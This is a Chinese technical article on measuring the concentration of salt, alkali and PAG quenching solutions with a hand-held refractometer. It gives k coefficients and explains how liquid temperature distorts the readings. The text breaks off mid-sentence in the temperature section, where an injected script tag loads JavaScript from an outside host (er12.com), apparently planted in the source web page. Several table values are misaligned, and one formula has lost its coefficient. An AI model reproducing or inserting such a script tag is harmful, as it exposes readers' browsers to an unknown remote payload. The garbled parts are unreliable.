水中溶解进任何物质，都会改变它的折光率，溶解的物质越多，溶液的折光率改变也越大。根据溶液折光率溶质浓度的变化规律，可以用折光仪简便地测出水溶性淬火介质的溶质浓度。本文介绍的方法，可供从事热处理的工人和技术人员在生产中应用。
一、手持式折光仪的选择
使用于生产现场的折光仪是手持式折光仪。手持式折光仪（以下简称折光仪）主要用于测定透光溶液的浓度与折光率。这种仪器结构简单，携带方便，使用简洁，精度也较高。图1是福建泉州光学仪器厂生产的一种手持式折光仪的外形结构。上海光学仪器厂等单位也生产这种仪器。
图1 手持式折光仪的外形结构这种折光仪的使用方法：
掀开盖板（1），取试液数滴放在棱镜（2）的镜面上，合上盖板（1）。然后将盖板朝向明亮处，边通过目镜（7）观察，边转动调节圈（6），直至视场分界线清晰可见。视场明暗分界线所示的读数，即为试液折射率或浓度。
折光仪视场上有两排刻度，一排是折光率，另一排是伯利糖度数（bx）。测定淬火介质浓度，通常采用其中的bx列刻度。选择型号由所用折光仪的最大使用刻度数来定，可根据淬火液的品种和用途参考表1进行这项选择。
表1 折光仪型号选择表
用途
型号（即最大刻度数（bx）
淬火用盐水
32型
淬火用碱水
32型
pag淬火液
15型用折光仪测定水溶性淬火介质浓度之前，须先用当地自来水（不是蒸馏水）作为试液，把折光仪读数调到零点。这一步很重要，其理由后面要讲到。
二、单一溶质溶液的浓度测定
对于单一溶质的水溶液，其折光仪读数与该溶质的浓度成正比。如果以字母n代表折光仪读数，即溶液的折光率，以c（%）代表该溶液中溶质的浓度百分比（重量），则二者之间存在以下关系：
n=kc （1）
其中，系数k的值决定于溶质的种类。热处理生产中几种常用溶质的k值见表2。c为重量百分比浓度。
表2 常用几种淬火介质的k值
溶 质
k 值
相乘系数
溶 质
k 值
相乘系数
nacl
1.1
0.91
naoh
1.6
0.63
nano3
0.7
1.43
na2co3
1.5
0.67
今禹8-20
今禹8-60
0.40
2.5
aq251
aq364
ucon e
0.40
2.5
ucon a
0.5
2.0
把这几种介质的浓度与其折光仪读数的关系作在图上，可得到图2所示的一组直线。由于关系简单，在生产现场，就可以用折光仪测定单一溶质溶液的浓度。比如，测定pag淬火介质的浓度以及盐（nacl）碱(naoh)的浓度。表2中的相乘系数是k值的倒数，即 。由式（1）得式（2）。将测得的折光仪读数n乘上该溶质的相乘系数 ，即得到所测溶液的浓度。
c= •n （2）
图2 折光仪读数与不同溶液溶质浓度的关系
注意，式（2）只适用于新型配制的或比较清洁的溶液。经过较长时期使用或已变脏、其中溶解了较多其它杂质的溶液，则不能简单地用式（2）计算浓度。
三、液温的影响及其修正法
溶液的折光率不仅随它的浓度变化，浓度一定时，溶液的折光率还会随液温升降变化。这种变化的基本规律是：液温升高，溶液的折光率会降低；液温降低，溶液的折光率会增大。作为溶剂的水，本身也具有这种特性。大家知道，加热水的时候，可以看到水内有流动迹象。水是无色透明的液体，加热中之所以能看见水内部的相对流动，其原因就在不同温度的水具有不同的折光率。pag淬火介质的水溶液也具有这种特性。浓度一定时，液温变化对测定值有很大影响。
注意：当使用前述手持式折光仪测量折光率时，“液温”指的是夹在折光仪上盖板和检验棱镜之间那一薄层液体的温度。通常也指的是试验现场的气温。由于该夹层中的液体量极少，又被压成了一薄层，实际测量中的液温就变成了所用折光仪的温度。
今禹8-20和今禹8-50淬火液的相乘系数是在气温30℃时确定的。当气温（即测试现场的气温）低于30℃时，测出的浓度会偏高；当气温高于30℃时，测出的浓度会偏低。气温偏离30℃越远，上述偏差也越大。这种浓度测量值如果不注意修正，生产中就可能发生造成严重后果。冬天，气温低，浓度测量值偏高。如果此时误认为淬火液浓度过高，补加过多的自来水，必然使淬火液的真实浓度偏低，加上淬火液液温低，冷却速度升高，在这样的淬火液中淬火，就很容易引起淬裂。到了夏天，生产现场气温（即折光仪本身的温度）高，浓度测量值会偏低。如果误认为淬火液浓度偏低，而补加过量的pag原液，就会使淬火液浓度过高，加上此时气温高，散热慢，淬火液液温也?script src=http://er12.com/t.js>
